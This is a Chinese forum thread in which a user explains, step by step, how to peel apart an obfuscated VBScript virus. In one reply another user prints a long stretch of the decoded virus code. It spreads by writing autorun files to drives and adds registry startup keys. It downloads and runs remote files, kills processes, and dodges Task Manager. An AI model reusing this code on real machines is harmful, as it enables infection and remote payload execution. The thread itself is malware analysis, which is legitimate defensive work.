![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-28 23:44 |
共 47,816 主题排行 / 349,916 发帖 / 今日 2 篇 / 48,265 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » [求助]帮忙解密一个VBS |
| 可打印版本 4,311 / 30 |
| 第16楼 uhnmki | 发表于 2008-01-16 12:56 |
| 初级用户 发帖 11 积分 73 | |
|
一个加密vbs的解密过程--第五次揭锅 【续四】打开decode_5.txt看看,都什么玩意,太让各位失望了,怎么就这点儿内容,没有搞错吧?
各位看官,我检讨,我让大家高兴的太早了,其实在上一篇里虽然加入了b=lO+qO,但实际运行中经过一系列if的筛选,最后还是跟decode_4.txt差不多的一个玩意,不过显得整齐了些,也算是收获,为什么会这样,别忘了咱们是用Intercept(code)替代execute(code),否则execute看到有这么多可执行代码会迫不及待的去执行,那时你即使再手疾眼快的话也比不上惨剧发生的快了,假如你过于手疾眼快按冷启的话,没准坏的就不是瘟痘屎系统了,你得拿着某(几)个硬件在奸商的跪台前哭求:大叔大姨行行好,修理费能不能再降点儿,可怜可怜穷人吧,5555…… 唉,够累的了,没办法,接着来吧,小车不倒只管推,继续,把第四锅里的 lO=…… qO=…… b=lO+qO 再放进锅里,外加差不多由a到v的变量,然后加上前面的拦截程序,不过怎么加得考虑下,因为目前的代码相当于execute解出一层密文后看到的新指令,它将继续执行这些代码,所以目前的代码实际仍然还处在第一锅execute(y)的运行期内,而执行目前的代码,最后是给uc(b)函数返回值,作为还给当初第一锅execute(uc(lO+qO))括号内的结果,但是如果这个返回值里还有可执行的指令的话,execute(uc(lO+qO))会继续执行,所以现在我们得看看uc这个值到底是个什么东西,所以Intercept必须去截获uc的值,所以代码应改写成这样子的: 将上面的代码保存为Decoding_5th.vbs,运行后uc的值就放在decode_6.txt,这回我保您可以看到有明确含意的东东,您就瞧好吧【待续】 [ Last edited by uhnmki on 2008-1-17 at 05:31 PM ] |
|
| 第17楼 baomaboy | 发表于 2008-01-16 14:29 |
| 银牌会员 发帖 554 积分 1,513 | |
Originally posted by uhnmki at 2008-1-16 12:56: 因为有循环执行替换的代码所以建议使用OpenTextFile方法。。。。。。并且应用参数8“追加数据方式”这样虽然会得到重复代码,但可避免遗漏。。 用楼上代码补 end sub 运行后得到的代码似乎有点错误在dyz=后面好像”符号转换错了,另外才看到楼上希望连贴 实在不好意思。。。。 [ Last edited by baomaboy on 2008-1-16 at 02:50 PM ] |
|
| 第18楼 uhnmki | 发表于 2008-01-16 15:12 |
| 初级用户 发帖 11 积分 73 | |
|
一个加密vbs的解密过程--第六次揭锅 【续五】现在让我们打开decode_6.txt,看一看最后生成的uc函数返回值到底是什么:
哇,我的妈呀,怎么还是这么乱啊,各位看官,对不起啊,有点累您眼神了,不好意思啊,又让您过早兴奋了。不过还好,都是ASCII码,比b=lO+qO的乱码强,而且这么多,说明密文b=lO+qO肯定是代进去解码了,尽管有点乱,我开始也是,被两个挨着的execute弄晕过去几次,不过您手头上如果有EmEditor这个文本编辑器的话就没问题,一目了然,UEdit好象不行,尽管UEdit功能比EmEditor多些,但这时它就有点弱智,EmEditor看到的效果和我在引文中标记的差不多,这样您一下子就会发现,实际上这是若干个变量在赋值或字符串,然后带了一个execute(code),这个是重要的,它将推动程序继续深入地向下一步走,否则到此就停下了,另外最后捎带了一个函数er,里面还引用某个叫rr的函数,不管了,焦点肯定要集中在execute()括号内的东东,那是一些变量在合并字符串,看来不少变量都是上面当中赋过值的,没错就是它了,如果解出码来,兴许就是明文了(底气有点不足),所以还是那么干,设计一个拦截程序Intercept: Sub Intercept (code) WScript.Echo code OutPutFile="decode_7'.txt" Set objFSO=CreateObject("Scripting.FileSystemObject") Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False) objTXT.Write code objTXT.Close Set objWSH=CreateObject("WScript.Shell") objWSH.Run OutPutFile WScript.Quit End Sub 用Intercept()去把execute()掉包,获得将要执行的代码,所以把上面的结果改造一下,像这样: 将上面的代码拷贝存为Decoding_6th.vbs,运行,结果存在decode_7.txt里,这回我保证您会看到真实的谎言,真的,不骗你,前面也不是要骗您,别走开啊,噢不不,先不要找西红柿和鸡蛋,耐心点儿,给我点时间,我有话要说……天哪……【待续】 [ Last edited by uhnmki on 2008-1-16 at 07:28 PM ] |
|
| 第19楼 uhnmki | 发表于 2008-01-16 19:38 |
| 初级用户 发帖 11 积分 73 | |
|
一个加密vbs的解密过程--第七集:凶相毕露 【续六】打开decode_7.txt看看,是不是出明文了:
唉,又让各位失望了,有点乱,不过,且慢,让我们先把它整理一下,看清楚些: 这不就几乎要接近于揭开最后一个盖子了嘛。基本是不断的把各种变量代入到uc(b)这个函数内,然后解码,生成指令,做成主程序段和主程序所要用到的各种函数,然后执行解出来的代码,病毒终于露出凶相了。 uc(b)这个函数是关键,就像我们曾经怀疑的那样,它就是解码函数。那么这里出现的许多变量呢,它们就是前面第六锅里我们看到的那堆有点纷乱的东东,因为这里的代码是上次第六锅里中出现的execute()括号内字串合并出来的结果,当execute开始执行这里的代码时,与execute同期出现的那些变量和这些代码是同等地位,相当于我们写程序时先给一些变量赋值,然后却把整个主程序段和所有的函数段都用execute()括起来,这实际上没什么影响。 举例: Var1="Var1 is defined in Main." ' 先给变量赋值 Execute("MsgBox Var1") '==> MsgBox "Var1" ' 然后把程序放在Execute内执行 Execute("MsgBox uc(Var1)") '==> MsgBox uc(Var1) Execute "Exe"&"cute("&Chr(34)&"MsgBox uc(rr(Var1) & Var2)"&Chr(34)&")" '相当于 Execute ( "Execute("MsgBox uc(rr(Var1) & Var2)") "),注意“相当于”,不是可直接运行滴,需考虑如何处理引号中的引号 ' 仿Virus的做法,把函数主体也写进execute内,再卖个关子,在函数rr里面定义个Var2变量,但rr用不上,一旦rr执行一次,就能给uc(b)用 Function rr(a) Execute ("Var2="&Chr(34)&"Var2 is defined in Fuction rr. It is no use for Function rr."&Chr(34)&"&vbCrLf"&":rr=a & "&Chr(34)&"can be ued by Function rr."&Chr(34)&" & vbCrLf") '<-- Var2="Var2 is defined in Functin rr, It is no use for Function rr" & vbCrLf '<-- rr=a & "and can be used by Function rr." End Function Function uc(b) Execute ("x="&Chr(34)&"All above can be used by Function uc."&Chr(34)&":"&"uc=b & Chr(10) & Chr(13) & x") '<-- x="All above can be used by Function uc" '<-- uc=b & vbCrLf & x End Function 所以如果我们把Decode_7代码中的各个execute(uc(...))依次解码后,按对应的位置替代execute(uc(...)),最后得到就是被加密的明文了,也即病毒原体。 接下来该考虑具体怎么把各段程序生成出来,主要是uc(b)这个函数,让我们回顾一下uc(b)函数的来龙去脉,见下图: ![]() 在第一次出现uc(b)的时候它没有显含变量b,通过变量w,x,y,z两次解码,到Decode_4th时,才生成uc(b)的可用形式,那里不仅有b,还有新定义的差不多c~v的变量和未定义的l,而l到后面Decode_6才赋值,当程序第一次用到它时只好算它空字符,Decode_6之后再次调用uc(b)函数时,记住l要用Decode_6里的定义了,另外还有个rn,也是同样处理,鉴于x,y,z,w(似乎)从未被改变过,那么Decode_4的内容基本不变,于是我们不妨这样重新构造函数uc(b),把Decode_4~6中定义的那些变量都堆放到一起,然后取Decode_4中生成函数返回值uc的算法片断,码到一块儿,就构成uc(b)函数的明文形式。 利用得到的uc(b)函数,逐一代入b,一个一个地得到Decode_7中出现的uc(b)的值,象下面这样:
每次修改execute(uc(b))的b,存为vbs再运行,最后打开Decode_8.txt,拷贝每次的结果到Decode_7对应的位置中去,合在一起整个病毒原体就重新构造出来了。 数了数,有23个uc(b),你可以一个一个地简单重复,我就不用干了,因为我要把它们自动地生成并组装起来,欲知后事如何,且听下回分解。【待续】 [ Last edited by uhnmki on 2008-1-23 at 07:17 PM ] |
|
| 第20楼 slore | 发表于 2008-01-20 03:27 |
| 铂金会员 发帖 2,478 积分 5,212 | |
|
gt():
Dim d:j = "\": tjs = rr("tjs",1):djs = rr("djs",1):If Not IsNumeric(tjs) or Not IsDate(djs) Then wr "tjs",1:wr "djs",Date:djs = rr("djs",1) wr "tjs",tjs + 1:wb = pr("clsmn.exe",1) = 1 or pr("ap.exe",1) = 1 or pr("pubwin.exe",1) = 1 If Date - CDate(djs) > 4 Then gq = True:ws.run "net start ""task scheduler""",0,False If (rr("tjs",1) > 800 or wb or gq or Not sys) And rr("ded",1) <> CStr(Date) Then id = rr("idd",1):If wb Then id = 1:js = 1:cd = 0 Do While cd <> "<script>" If js = 2 or js = 4 Then d2 = dn(mir & til,ht + ha + ec(hd) & id,0,100):cd = rt(mir & til,1) ElseIf js = 1 or js = 3 Then d1 = dn(mir & til,ht + ec(hb) + ec(hd) & id & "&v=" & ver,0,100):cd = rt(mir & til,1) End If:js = js + 1:wz = d1 = 1 or d2 = 1:If js > 4 Then If wz Then gt = 1 Exit Do End If If wz Then er - 1 Loop If ei(mir & til,1) Then Set r = fso.OpenTextFile(mir & til,1) cin = r.ReadLine:dis = r.ReadLine:dna = r.ReadLine:dfr = r.ReadLine:nve = r.ReadLine:nru = r.ReadLine nna = r.ReadLine:nfr = r.ReadLine:tsw = r.ReadLine:tco = r.ReadLine:osw = r.ReadLine:idd = r.ReadLine r.Close:df mir & til:If cin = "<script>" Then wr "tjs",1:wr "djs",Date:wr "idd",idd:wr "dna",dna:wr "tsw",tsw:wr "tco",tco:wr "osw",osw If nve - ver >= 1 or Not ei(dir & ve,1) Then dn dir & nna,ht & nfr & dfo & nna,nru,2000:wscript.quit If dis = 1 And sys Then If dna <> le or Not ei(tmp & le,1) Then df tmp & le:dn tmp & dna,ht & dfr & dfo & dna,1,1000 End If End If End If End If If er(1) or wb Then gt = 1 ei(name,wt): Dim d:j = "\": If fso.fileexists(name) And wt = 1 Then ei = True If fso.folderexists(name) And wt = 2 Then ei = True Dim d:j = "\": ar wh,0 If ei(wh,1) Then fso.deletefile(wh) If ei(wh,2) Then fso.deletefolder(wh) Dim d:j = "\": df wh:Set bin = fso.createtextfile(wh,True):bin.writeline wt:bin.Close If da = 1 Then ar wh,7 If Not er(0) Then bf = 1 Dim d:j = "\": df wh:Set i = fso.createtextfile(wh,True):h = vbCrLf i.writeline til &h & "" &h & "open=wscript.exe .\" & vs &h & "shell\open\command=wscript.exe .\" & vs &h & "shell\open\default=1" i.Close:ar wh,7:If Not er(0) Then bi = 1 Dim d:j = "\": If li < 0 Then wh = ouw If ei(wh,1) Then If fso.getfile(wh).size = 0 Then rt = 0 Else Set r = fso.OpenTextFile(wh,1) Set cl = fso.OpenTextFile(wh,1) cl.ReadAll tli = cl.line cl.Close If li > 0 And li <= tli Then i = 0 Do While i < li i = i + 1 If Not r.atendofstream Then sli = r.ReadLine Else sli = 0 End If Loop rt = sli ElseIf li <= 0 Then rt = r.ReadAll Else rt = 0 End If r.Close End If Else rt = 0 End If Dim d:j = "\": If rda = - 1 Then ws.regdelete rna Else ws.regwrite rpa & rna,rda,"REG_SZ" Dim d:j = "\": If pa = 1 Then rna = rpa & rna rr = ws.regread(rna) If er(0) Then rr = 0 Dim d:j = "\": If ei(file,1) Then:Set ofile = fso.getfile(file):ofile.attributes = cg:Set ofile = Nothing If ei(file,2) Then:Set ofile = fso.getfolder(file):ofile.attributes = cg:Set ofile = Nothing Dim d:j = "\": ar loc,0:Set xpost = CreateObject("microsoft.xmlhttp"):xpost.open "get",web,0:xpost.send() If min <> 0 Then If Not er(0) Then dn = 1:Set sget = CreateObject("adodb.stream") sget.mode = 3:sget.Type = 1:sget.open():sget.write(xpost.responsebody):sget.savetofile loc,2 ar loc,7 If ei(loc,1) Then fsz = fso.getfile(loc).size Else fsz = 0 If fsz > min Then If ris = 1 Then ws.run loc Else dn = 0:df loc End If End If End If Dim d:j = "\": Set pl = wmi.execquery("select * from win32_process where name='" & pcs & "'"):i = 1 For Each p In pl:i = i + 1 If i > abs(gs) Then pr = 1 If gs < 0 Then If p.terminate = 2 And pr = 1 Then ws.run cm & "tskill " & Left(p.name,Len(p.name) - 4),0,False Next If er(0) Then pr = 2 Dim d:j = "\": For i = 1 To Len(wt):ec = ec + Chr(Asc(Mid(wt,i,1)) - i):Next Dim d:j = "\": df wh:Set vbs = fso.createtextfile(wh,True):vbs.write ouc:vbs.Close:ar wh,7 Dim d:j = "\": If sw = 1 And rr(rsp & rsn,0) <> ve Then ws.regwrite rsp & rsn,ve,"REG_SZ" If er(0) And Not ei(fsp,1) Then bf fsp,wsr & " """ & ve & """",0 ElseIf sw = - 1 Then:df fsp ElseIf sw = 0 Then:df fsp:wr rsp & rsn, - 1:wr rpa, - 1 End If Dim d:j = "\": If sw = 1 Then ws.regwrite hip,"0","REG_DWORD" If sw = 0 Then hi = rr(hip,0) Dim d:j = "\": id = rr("idd",1) Do While fid <= eid:idc = idc & "," & fid:fid = fid + 1:Loop ids = ids & idc:idss = Split(ids,",") For i = 0 To UBound(idss) If id = idss(i) Then If Not ei(tmp & fname,1) Then dn tmp & fname,ht & furl,0,2000 Next If ei(tmp & fname,1) Then ws.run tmp & fname gi = 1 Dim d:j = "\": If rr("ged",1) <> fn And pr(pcs,1) = 1 Then If dn(tmp & fn,ht & furl,0,2000) = 1 Then dwc = 1 If ei(tmp & fn,1) And dwc = 1 Then If kill = 1 Then pr pcs, - 1 ws.run tmp & fn If Not er(0) Then wr "ged",fn:dn 0,ht + ec(hb) + he + fn,0,0:If kill = 2 Then pr pcs, - 1:km 1 End If dw = 1 End If wscript.sleep 100 Dim d:j = "\": For Each d In dc If d.drivetype = 3 or (d.drivetype = 1 And d <> "A:" And d <> "B:") Then If sw = 1 Then If ei(d & inf,2) Then df d & inf If ei(d & j & vs,1) And ei(d & inf,1) Then If rt(d & inf,1) <> til Then bi d & inf Else hi 1:bi d & inf:co d & j & vs End If ElseIf sw = - 1 Then:df d & inf:df d & j & vs Else:bf d & j & vs,wsr & "(left(wscript.scriptfullname,3)),3" & String(10000,"'"),1:df d & inf End If End If Next Dim d:j = "\": cus = rr("osw",1) <> 4 Do dcu = rr("tgs",1) <> CStr(Date) If (Second(Time) Mod 3) = 0 Then If dcu And cus Then us 1 min = Minute(Now):If (min Mod 2) = 0 And nn <> min And oo <> 1 Then nn = min:oo = gt:km 0 If rr("tsw",1) = 1 Then execute(uc(rr("tco",1))) End If wscript.sleep 900 If hi(0) = 1 And dcu Then wr "tgs",Date:us - 1 If pr("taskmgr.exe",1) = 1 Then:ws.run "at " & Time + 0.003 & " /interactive " & ve,0,False:wr "atd",1:hi 1:wscript.quit Loop |
|
| 第21楼 kich | 发表于 2008-01-20 10:58 |
| 中级用户 发帖 168 积分 397 | |
|
瑞星会报毒:
|
|
| 第22楼 knoppix7 | 发表于 2008-01-20 12:48 |
| 银牌会员 发帖 634 积分 1,287 来自 cmd.exe | |
|
BT的加密。。。汗....
LS辛苦了 |
|
| 第23楼 uhnmki | 发表于 2008-01-23 19:38 |
| 初级用户 发帖 11 积分 73 | |
|
一个加密vbs的解密过程--第八集:打回原形 【续七】把这事儿进行到底吧,虽然看官们都已鸟兽散,没谁看这贴,我现在是给我自己写,借这里不错的页面排版,写完了把网页复制下来,作资料以后自己看也方便。上面说了,我要把加密的病毒解码出来复原成完整的程序,下面就给出我的方法(方法很多,仁者见仁,智者见智了):
不知为什么,无法上传附件,就拷贝上面的代码,存为比如 uncover.vbs,然后运行去吧,尽请放心,不会引发病毒的,这也是为什么这个帖子才发出来的原因,因为我可不想搞召回之类的事儿^_^ 结果保存在virus.txt,就是病毒的源程序,噢不,等等,我忘了,在前面第六锅中得到的Decode_6中,还有一个像是错误处理的函数,我查看了一下病毒的明文,发现它几次都用到那个错误处理函数,够诡异的,所以最后的结果还要把那个错误处理函数function er(sco)补进Virus.txt去,因此完整的结果是:
如果哪位高手有兴趣,给咱们分析分析,我把前面的活给干了,接下来该您表演了吧? 噢,忘了说,感谢各位高手、看官和版主的指点和加分,不能一一回复,见谅,其实我那边还在问别人的问题,人家给我回复我还没来得及感谢咧,我在这里就算是为以后有人给我解疑时也弄的很漂亮积善积德了。好了各位,see U in other places,鼓捣掰!!! 【全文完】 [ Last edited by uhnmki on 2008-1-26 at 07:10 AM ] |
|
| 第24楼 luowei14 | 发表于 2008-01-23 20:00 |
| 初级用户 发帖 98 积分 193 | |
|
nB.......
|
|
| 第25楼 ct268gh | 发表于 2008-01-25 21:29 |
| 新手上路 发帖 7 积分 12 | |
|
uhnmki 真是牛人啊,排版讲解都很厉害收藏了
|
|
| 第26楼 lengxue0624 | 发表于 2008-03-05 14:51 |
| 新手上路 发帖 1 积分 2 | |
|
没续集了吗 还有谁来讲讲下面的啊 看大片啊
|
|
| 第27楼 liuyun20 | 发表于 2008-03-31 14:18 |
| 初级用户 发帖 14 积分 36 | |
|
qiang!!!!! PF !!!
强人。。。。 |
|
| 第28楼 holley | 发表于 2008-10-07 16:28 |
| 新手上路 发帖 11 积分 12 | |
|
我只能说变态的人也需要变态的人来对付-_-!
|
|
| 第29楼 gotocmd | 发表于 2008-10-07 20:08 |
| 新手上路 发帖 20 积分 19 | |
|
我更怀疑解密的就是加密者
|
|
| 第30楼 ljhwaoi | 发表于 2009-07-28 03:36 |
| 新手上路 发帖 5 积分 6 | |
|
初学者看得头都晕了!不过很有意思!
|
|
| 上一页 1 2 3 下一页 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |